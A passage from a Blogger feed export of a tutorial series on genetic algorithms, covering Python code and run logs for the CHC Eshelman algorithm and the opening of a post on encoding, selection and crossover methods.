/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nr_hamming += 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;return nr_hamming&lt;br /&gt;&lt;br /&gt;def cataclysm(pop, target, min, max):&lt;br /&gt;&amp;nbsp;&amp;nbsp;#keep the best individual, flip 35% of bits to get new individuals&lt;br /&gt;&amp;nbsp;&amp;nbsp;pop.sort (lambda x, y : cmp (fitness(x, target), fitness(y, target)))&lt;br /&gt;&amp;nbsp;&amp;nbsp;firstind = pop[0]&lt;br /&gt;&amp;nbsp;&amp;nbsp;newpop = [firstind]&lt;br /&gt;&amp;nbsp;&amp;nbsp;for x in range(1, len(pop)):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nextind = firstind[:]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for i in range(0, len(nextind)):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if 0.35 &amp;gt; random():&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nextind[i] = randint(min, max)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;newpop.append(nextind)&lt;br /&gt;&amp;nbsp;&amp;nbsp;return newpop  &lt;br /&gt;&lt;br /&gt;def hux(ind1, ind2):&lt;br /&gt;&amp;nbsp;&amp;nbsp;child_one = []&lt;br /&gt;&amp;nbsp;&amp;nbsp;child_two = []&lt;br /&gt;&amp;nbsp;&amp;nbsp;hamming_dist = hamming(ind1, ind2);&lt;br /&gt;&amp;nbsp;&amp;nbsp;nr_swaps = 0&lt;br /&gt;&amp;nbsp;&amp;nbsp;for x in range(0, len(ind1)):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (ind1[x] == ind2[x]) or (random &amp;gt; 0.5) or (nr_swaps &amp;gt; hamming_dist / 2):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#same, just copy to both&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;child_one.append(ind1[x])&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;child_two.append(ind2[x])&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#different, swap with .5 probability, until hamming/2 swaps&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;nr_swaps += 1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;child_one.append(ind2[x])&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;child_two.append(ind1[x])&lt;br /&gt;&amp;nbsp;&amp;nbsp;return [child_one,child_two]&lt;br /&gt;&lt;br /&gt;def evolve(pop, target, min, max, treshold):&lt;br /&gt;&amp;nbsp;&amp;nbsp;child_population = []&lt;br /&gt;&amp;nbsp;&amp;nbsp;for i in range(1, len(pop)/2):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#choose two random parents:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;parent_one = pop[randint(0, len(pop)-1)]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;parent_two = pop[randint(0, len(pop)-1)]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if (hamming(parent_one, parent_two)/2) &amp;gt; treshold[0]:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#do hux crossover&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;children = hux(parent_one, parent_two)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;child_population.append(children[0])&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;child_population.append(children[1])&lt;br /&gt;&amp;nbsp;&amp;nbsp;if len(child_population) == 0:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;treshold[0]-=1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print "No children evolved"&lt;br /&gt;&amp;nbsp;&amp;nbsp;else:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p_count = len(pop);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print len(child_population),"children"&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for x in child_population:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop.append(x)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop.sort (lambda x, y : cmp (fitness(x, target), fitness(y, target)))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#for x in pop:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#    if fitness(x,target) == 0:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#        print "Perfect individual found:",x&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop = pop[:p_count]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print len(pop),"new population, grade:", grade(pop, target)&lt;br /&gt;&amp;nbsp;&amp;nbsp;if treshold[0] &amp;lt; 0:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop = cataclysm(pop, target, min, max)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print "Cataclysm, newpop length:",len(pop),"grade:",grade(pop,target)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;treshold[0] = len(pop[0]) / 4.0&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print "Treshold is now:",treshold[0]&lt;br /&gt;&amp;nbsp;&amp;nbsp;return pop&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;This reminds me: I should really work on a css class for code (update: done), instead of writing everything in monospace. A few remarks:&lt;br /&gt;(1) The implementation is a bit hacky. Python passes everything by reference, except immutable objects. I wanted to pass treshold by reference, which did not work, it being a float and such. That's why I've wrapped it in a list.&lt;br /&gt;(2) I'll use L/4 as the treshold; and I still use a 35% mutate rate, although we are not using bit encoded individuals, though we could set this a bit higher if we wanted.&lt;br /&gt;(3) We do crossover by randomly swapping different values with a 0.5 chance, until half of the values are swapped. Probability-wise, this is not the same as randomly picking half of the different bits. This doesn't matter that much for this example, though.&lt;br /&gt;&lt;br /&gt;Let's test it:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;import sys&lt;br /&gt;sys.path.append("C:\Users\Seppe\Desktop")&lt;br /&gt;from chc_eshelman import *&lt;br /&gt;target = 300&lt;br /&gt;p_count = 50&lt;br /&gt;i_length = 6&lt;br /&gt;i_min = 0&lt;br /&gt;i_max = 100&lt;br /&gt;treshold = [i_length / 4.0]&lt;br /&gt;p = population(p_count, i_length, i_min, i_max)&lt;br /&gt;print "First grade: ",grade(p, target)&lt;br /&gt;for i in range(0,100):&lt;br /&gt;&amp;nbsp;&amp;nbsp;p=evolve(p, target, i_min, i_max, treshold)&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;In the first run, it took two cataclysms to reach a completely perfect population (grade is the average score for the complete population, not for the best single individual, it might be possible to have a perfect individual in the first evolution, still, because this problem is so simple, we look at the complete population):&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;First grade:  66.88&lt;br /&gt;48 children&lt;br /&gt;50 new population, grade: 30.34&lt;br /&gt;44 children&lt;br /&gt;50 new population, grade: 18.92&lt;br /&gt;48 children&lt;br /&gt;50 new population, grade: 10.64&lt;br /&gt;38 children&lt;br /&gt;50 new population, grade: 6.68&lt;br /&gt;40 children&lt;br /&gt;50 new population, grade: 4.74&lt;br /&gt;36 children&lt;br /&gt;50 new population, grade: 3.84&lt;br /&gt;12 children&lt;br /&gt;50 new population, grade: 3.48&lt;br /&gt;12 children&lt;br /&gt;50 new population, grade: 3.12&lt;br /&gt;6 children&lt;br /&gt;50 new population, grade: 3.0&lt;br /&gt;No children evolved&lt;br /&gt;No children evolved&lt;br /&gt;Cataclysm, newpop length: 50 grade: 48.24&lt;br /&gt;Treshold is now: 1.5&lt;br /&gt;46 children&lt;br /&gt;50 new population, grade: 17.36&lt;br /&gt;36 children&lt;br /&gt;50 new population, grade: 7.8&lt;br /&gt;32 children&lt;br /&gt;50 new population, grade: 4.1&lt;br /&gt;20 children&lt;br /&gt;50 new population, grade: 2.76&lt;br /&gt;14 children&lt;br /&gt;50 new population, grade: 2.44&lt;br /&gt;16 children&lt;br /&gt;50 new population, grade: 2.12&lt;br /&gt;22 children&lt;br /&gt;50 new population, grade: 1.68&lt;br /&gt;20 children&lt;br /&gt;50 new population, grade: 1.28&lt;br /&gt;18 children&lt;br /&gt;50 new population, grade: 1.0&lt;br /&gt;No children evolved&lt;br /&gt;No children evolved&lt;br /&gt;Cataclysm, newpop length: 50 grade: 48.86&lt;br /&gt;Treshold is now: 1.5&lt;br /&gt;40 children&lt;br /&gt;50 new population, grade: 21.04&lt;br /&gt;46 children&lt;br /&gt;50 new population, grade: 5.3&lt;br /&gt;36 children&lt;br /&gt;50 new population, grade: 1.56&lt;br /&gt;40 children&lt;br /&gt;50 new population, grade: 0.38&lt;br /&gt;32 children&lt;br /&gt;50 new population, grade: 0.0&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Another run only takes four evolutions to reach a perfect population, with a beautiful convergence:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;First grade:  51.16&lt;br /&gt;46 children&lt;br /&gt;50 new population, grade: 24.26&lt;br /&gt;46 children&lt;br /&gt;50 new population, grade: 12.6&lt;br /&gt;34 children&lt;br /&gt;50 new population, grade: 5.78&lt;br /&gt;38 children&lt;br /&gt;50 new population, grade: 0.94&lt;br /&gt;34 children&lt;br /&gt;50 new population, grade: 0.0&lt;br /&gt;20 children&lt;br /&gt;50 new population, grade: 0.0&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Sometimes however, the algorithm gets stuck in a loop:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;...&lt;br /&gt;18 children&lt;br /&gt;50 new population, grade: 1.0&lt;br /&gt;22 children&lt;br /&gt;50 new population, grade: 1.0&lt;br /&gt;24 children&lt;br /&gt;50 new population, grade: 1.0&lt;br /&gt;16 children&lt;br /&gt;50 new population, grade: 1.0&lt;br /&gt;26 children&lt;br /&gt;50 new population, grade: 1.0&lt;br /&gt;24 children&lt;br /&gt;50 new population, grade: 1.0&lt;br /&gt;24 children&lt;br /&gt;50 new population, grade: 1.0&lt;br /&gt;18 children&lt;br /&gt;50 new population, grade: 1.0&lt;br /&gt;18 children&lt;br /&gt;50 new population, grade: 1.0&lt;br /&gt;14 children&lt;br /&gt;50 new population, grade: 1.0&lt;br /&gt;16 children&lt;br /&gt;50 new population, grade: 1.0&lt;br /&gt;16 children&lt;br /&gt;50 new population, grade: 1.0&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;This has something to do with the way the hamming distance is calculated. Sometimes, a pool of two different solutions will be made, but with more than one different values, thus this will always be above the hamming treshold, but will always create the same children, and the same resulting new population.&lt;br /&gt;&lt;br /&gt;For example, the algorithm can get stuck in a pool with two types of parents:&lt;br /&gt;&lt;tt&gt;1: [83, 19, 67, 64, 23, 44], sum 300 &lt;br /&gt;(the target was 300, so fitness: 300-300 = 0: perfect)&lt;br /&gt;2: [38, 28, 67, 64, 6, 97], sum 300&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;Both are optimal (but the sum might also be both 299, or 299 and 301, etc)... Notice that the hamming distance between them is four, far above the treshold, thus the following children can be created:&lt;br /&gt;&lt;tt&gt;[38, 28, 67, 64, 23, 44], sum 264&lt;br /&gt;[38, 19, 67, 64, 6, 97], sum 291&lt;br /&gt;[83, 28, 67, 64, 6, 44], sum 292&lt;br /&gt;[83, 19, 67, 64, 6, 97], sum 336&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;However, these children all perform worse and will never be considered for the new population, and this is how we get stuck in a loop.&lt;br /&gt;&lt;br /&gt;If we'd used a bit-representation, or other workarounds, this would've worked better. For example use another check: if there is no change in the population members: do treshold := treshold - 1. Still, it's good enough to show the workings of the algorithm.&lt;br /&gt;&lt;br /&gt;In conclusion, CHC performs very well with only a very limited population size, even in problems where local maxima are common.&lt;br /&gt;&lt;br /&gt;If you want to download the source code used in this post, you can find it &lt;a href="http://www.macuyiko.com/files/ga/ga_chceshelman.zip"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;-----&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span style="font-weight: bold;"&gt;Table Of Contents&lt;/span&gt;&amp;nbsp;(click a link to jump to that post)&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;1.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html"&gt;Introduction&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;2.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_06.html"&gt;Genetic Algorithms&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;3.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_237.html"&gt;CHC Eshelman&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;4.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_4050.html"&gt;Simulated Annealing&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;5.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_22.html"&gt;Ant Colony Optimization&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;6.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_07.html"&gt;Tabu Search&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;7.&amp;nbsp;&lt;a href="http://blog.macuyiko.com/2009/02/modern-genetic-and-other-algorithms.html"&gt;Conclusion&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/21390211-8999374277352711382?l=blog.macuyiko.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.macuyiko.com/feeds/8999374277352711382/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_237.html#comment-form' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/8999374277352711382'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/21390211/posts/default/8999374277352711382'/><link rel='alternate' type='text/html' href='http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms_237.html' title='Modern Genetic (And Other) Algorithms Explained: Part 3 - CHC Eshelman'/><author><name>Seppe vanden Broucke</name><uri>https://profiles.google.com/109801607284916240262</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-jv7ZgBEveU8/AAAAAAAAAAI/AAAAAAAASKg/_AAsrCl73m0/s512-c/photo.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-21390211.post-6560923442642534659</id><published>2009-01-10T17:08:00.005+01:00</published><updated>2009-02-05T18:26:17.910+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='modern'/><category scheme='http://www.blogger.com/atom/ns#' term='algorithms'/><category scheme='http://www.blogger.com/atom/ns#' term='series'/><category scheme='http://www.blogger.com/atom/ns#' term='genetic'/><title type='text'>Modern Genetic (And Other) Algorithms Explained: Part 2 - Genetic Algorithms</title><content type='html'>(This is part 2 in the Modern Genetic Algorithms Explained series, click &lt;a href="http://blog.macuyiko.com/2009/01/modern-genetic-and-other-algorithms.html"&gt;here&lt;/a&gt; to go to the first post, or browse through all the parts with the Table Of Contents at the end of this post.)&lt;br /&gt;&lt;br /&gt;Let's take another look at &lt;a href="http://lethain.com/entry/2009/jan/02/genetic-algorithms-cool-name-damn-simple/"&gt;the blog post&lt;/a&gt; on which we will base ourselves on. A general genetic algorithms can be described as follows:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;Construct initial population&lt;br /&gt;Repeat until time limit hit or satisfiable solution found:&lt;br /&gt;&amp;nbsp;&amp;nbsp;Assign a &lt;strong&gt;fitness&lt;/strong&gt; score to each individual&lt;br /&gt;&amp;nbsp;&amp;nbsp;Use a &lt;strong&gt;selection&lt;/strong&gt; method to pick individuals for reproduction&lt;br /&gt;&amp;nbsp;&amp;nbsp;Construct a new population, using a &lt;strong&gt;crossover&lt;/strong&gt; method&lt;br /&gt;&amp;nbsp;&amp;nbsp;Use a &lt;strong&gt;mutation&lt;/strong&gt; method to mutate the new population&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;There are still a lot of gaps to fill in: how large should the population be, how do we construct individuals, which fitness function do we use, which selection methods are available, how do we evolute the population, should we mutate, and how?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Population and Individuals: Encoding and Construction&lt;/span&gt;&lt;br /&gt;Let's start with the population: if the population count is too low, there will not be enough diversity between the individuals to find an optimal or good solution. If the count is too high, the algorithm will execute slower, conversion to a solution might become slower as well. There is no 'golden rule' to find an optimal number.&lt;br /&gt;&lt;br /&gt;How do we construct individuals? Certainly a simple (and popular choice) is the bit-representation:&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;0110 0111 0001 1011 ...&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;When evaluation the individuals, those bits are converted in something meaningful, be it numbers, strings, or other symbols, depending on the problem.&lt;br /&gt;&lt;br /&gt;If we had used this representation, an individual for the problem described in the article (find x numbers each between a and b so that the summation of those numbers equal z) would look like this (e.g. x = 4):&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;01100111 01000101 11010101 11010111&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;Which would represent 4 numbers between zero and 255: 103+69+213+215. Also notice that our individuals have a fixed-length. Variable-length is a bit more complex, but also possible, and sometimes needed.&lt;br /&gt;&lt;br /&gt;What do we do if the number lies out of the permitted bounds? We could:&lt;br /&gt;(1) Avoid that situation by making sure we never generate an individual with a number &amp;lt; a or &amp;gt; b.&lt;br /&gt;(2) Permit those individuals, but assign a very low fitness score to them. In the article, the score is calculated as the absolute difference between the sum of the individual's numbers and the target value. So a score zero (0) means perfect fitness: a valid solution. In this case, invalid individuals would get a score of 1000, for example. Or even better, we evaluate it normally, but then add a "penalty". E.g. the absolute difference between the bounds and the numbers times two.&lt;br /&gt;Why would we use (2)? In some cases it is too difficult or too time-consuming to check every individual to see if it is valid, before putting it in the population pool. Also: permitting invalid individuals might still be useful. They can introduce more variety in the population, and their valid parts can still be used to create offspring.&lt;br /&gt;&lt;br /&gt;Why would we use this representation? As we will see in the following steps, a crossover between two individuals will happen to create new offspring, with a bit representation, the crossover point can be placed at any point:&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v&lt;br /&gt;01100111 010 | 00101 11010101 11010111&lt;br /&gt;01101111 000 | 00100 10010111 10011100&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;When we use a list of integers, we place the crossover point between two numbers, this is different from the previous example, where the crossover point could be arbitrarily placed "in the middle of a number":&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;v&lt;br /&gt;103 | 69 , 213 , 215&lt;br /&gt;13 &amp;nbsp;| 22 , 123 , 76&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;Bit-representation is thus often used when it is not clear how to place the crossover point, but when we do know a way to "convert" a solution to a bitstring. However, always watch out. Some representations become too sensitive to "random" tinkering with bits, making them quickly invalid. In our case: using a bit-representation would be permitted (changing a random bit still creates four integers), but in other cases this method becomes infeasible.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Selection&lt;/span&gt;&lt;br /&gt;Good, we now have constructed an initial population, containing, say 100, individuals. We also have a fitness function to assign a score to each of them. Lower is better, 0 being a perfect solution.&lt;br /&gt;&lt;br /&gt;How do we pick individuals to use to create offspring? We'll need two individuals (a father and a mother). A first way (1) to choose them might be: just pick them at random. Of course, it is ease to see that this is a bad way of choosing parents. There has to be a relation between the fitness and the selection, so that better offspring can be created. When we choose parents at random, bad parents have an equal chance of producing children than fitter parents. (This is against the 'survival of the fittest'-idea, on which genetic algorithms are based on.)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In the article, a second (2) method is used:&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;Pick the n-best individuals from our current population&lt;br /&gt;Pick two different random individuals from those n-best&lt;br /&gt;Use those as parents for a child&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;This is certainly a better option, but this way, we completely abandon the lower scoring individuals. It is always better to give even the worst individuals a little chance to be a parent, to maintain a higher level of possible diversity.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With that remark in mind, we arrive at a third (3) solution, the roulette-wheel selection method: the chance of each individual to be selected becomes: &lt;tt&gt;fitness of that indivual / total of fitness scores of every individual in the population&lt;/tt&gt;. For example, consider the following population of five individuals, ordered by their score (let's say that higher is better).&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;i3: 9&lt;br /&gt;i2: 7&lt;br /&gt;i5: 6&lt;br /&gt;i4: 3&lt;br /&gt;i1: 1&lt;br /&gt;Total:  26&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;Now pick a random value between zero and 26. Let's say 8: 8 &amp;gt; 1, continue; 8 &amp;gt; 1 + 3, continue; 8 &amp;gt; 1 + 3 + 6, we pick i5. It's easy to see where the name "roulette selection" comes from.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Another selection method (4) is called tournament selection:&lt;br /&gt;&lt;div class="code"&gt;&lt;code&gt;Choose k (the tournament size) individuals from the population at random&lt;br /&gt;&amp;nbsp;&amp;nbsp;Choose the best individual from pool/tournament with probability p&lt;br /&gt;&amp;nbsp;&amp;nbsp;Choose the second best individual with probability p*(1-p)&lt;br /&gt;&amp;nbsp;&amp;nbsp;Choose the third best individual with probability p*((1-p)^2)&lt;br /&gt;&amp;nbsp;&amp;nbsp;...&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;Note that p can be = 1. Then the best out of k individuals is chosen, this is fairly common. For k, often 2, 3, or 4 is used. This is an often-used method because it is easy to implement, and can be used in parallel environments. Note that when p = 1, k = 1 this method essentially becomes a pure random selection.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Crossover&lt;/span&gt;&lt;br /&gt;Now that we know how to select two parents, how do we create children? Again, there are many techniques here. The first one (1) is the one-point crossover (simple crossover). I will illustrate the following examples with bit-represented individuals.&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;v&lt;br /&gt;0000 0000 0000 0000 | 0000 0000&lt;br /&gt;1111 1111 1111 1111 | 1111 1111&lt;br /&gt;&lt;br /&gt;Creates two children:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;v&lt;br /&gt;0000 0000 0000 0000 | 1111 1111&lt;br /&gt;1111 1111 1111 1111 | 0000 0000&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;The crossover point can be randomly chosen, or can be a fixed location (1/4, 1/3, 1/2 are commonly used). After the crossover point, two children are created by swapping their bits.&lt;br /&gt;&lt;br /&gt;The second (2) crossover method is two-point crossover, and looks a lot like the previous method:&lt;br /&gt;&lt;br /&gt;&lt;tt&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; v &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;v&lt;br /&gt;0000 | 0000 0000 0000 | 0000 0000&lt;br /&gt;1111 | 1111 1111 1111 | 1111 1111&lt;br /&gt;&lt;br /&gt;Creates two children:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; v &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;v&lt;br /&gt;0000 | 1111 1111 1111 | 0000 0000&lt;br /&gt;1111 | 0000 0000 0000 | 1111 1111&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;Again: it's swap - and swap.&lt;br /&gt;&lt;br /&gt;Cut and splice (3) is another one, and is only interesting when you need variable-length individuals. I will skip the description, it's in the Wikipedia page (all sources are mentioned at the end of this post).&lt;br /&gt;&lt;br /&gt;UX (Uniform Crossover) (4) is a bit more interesting:&lt;br /&gt;&lt;br 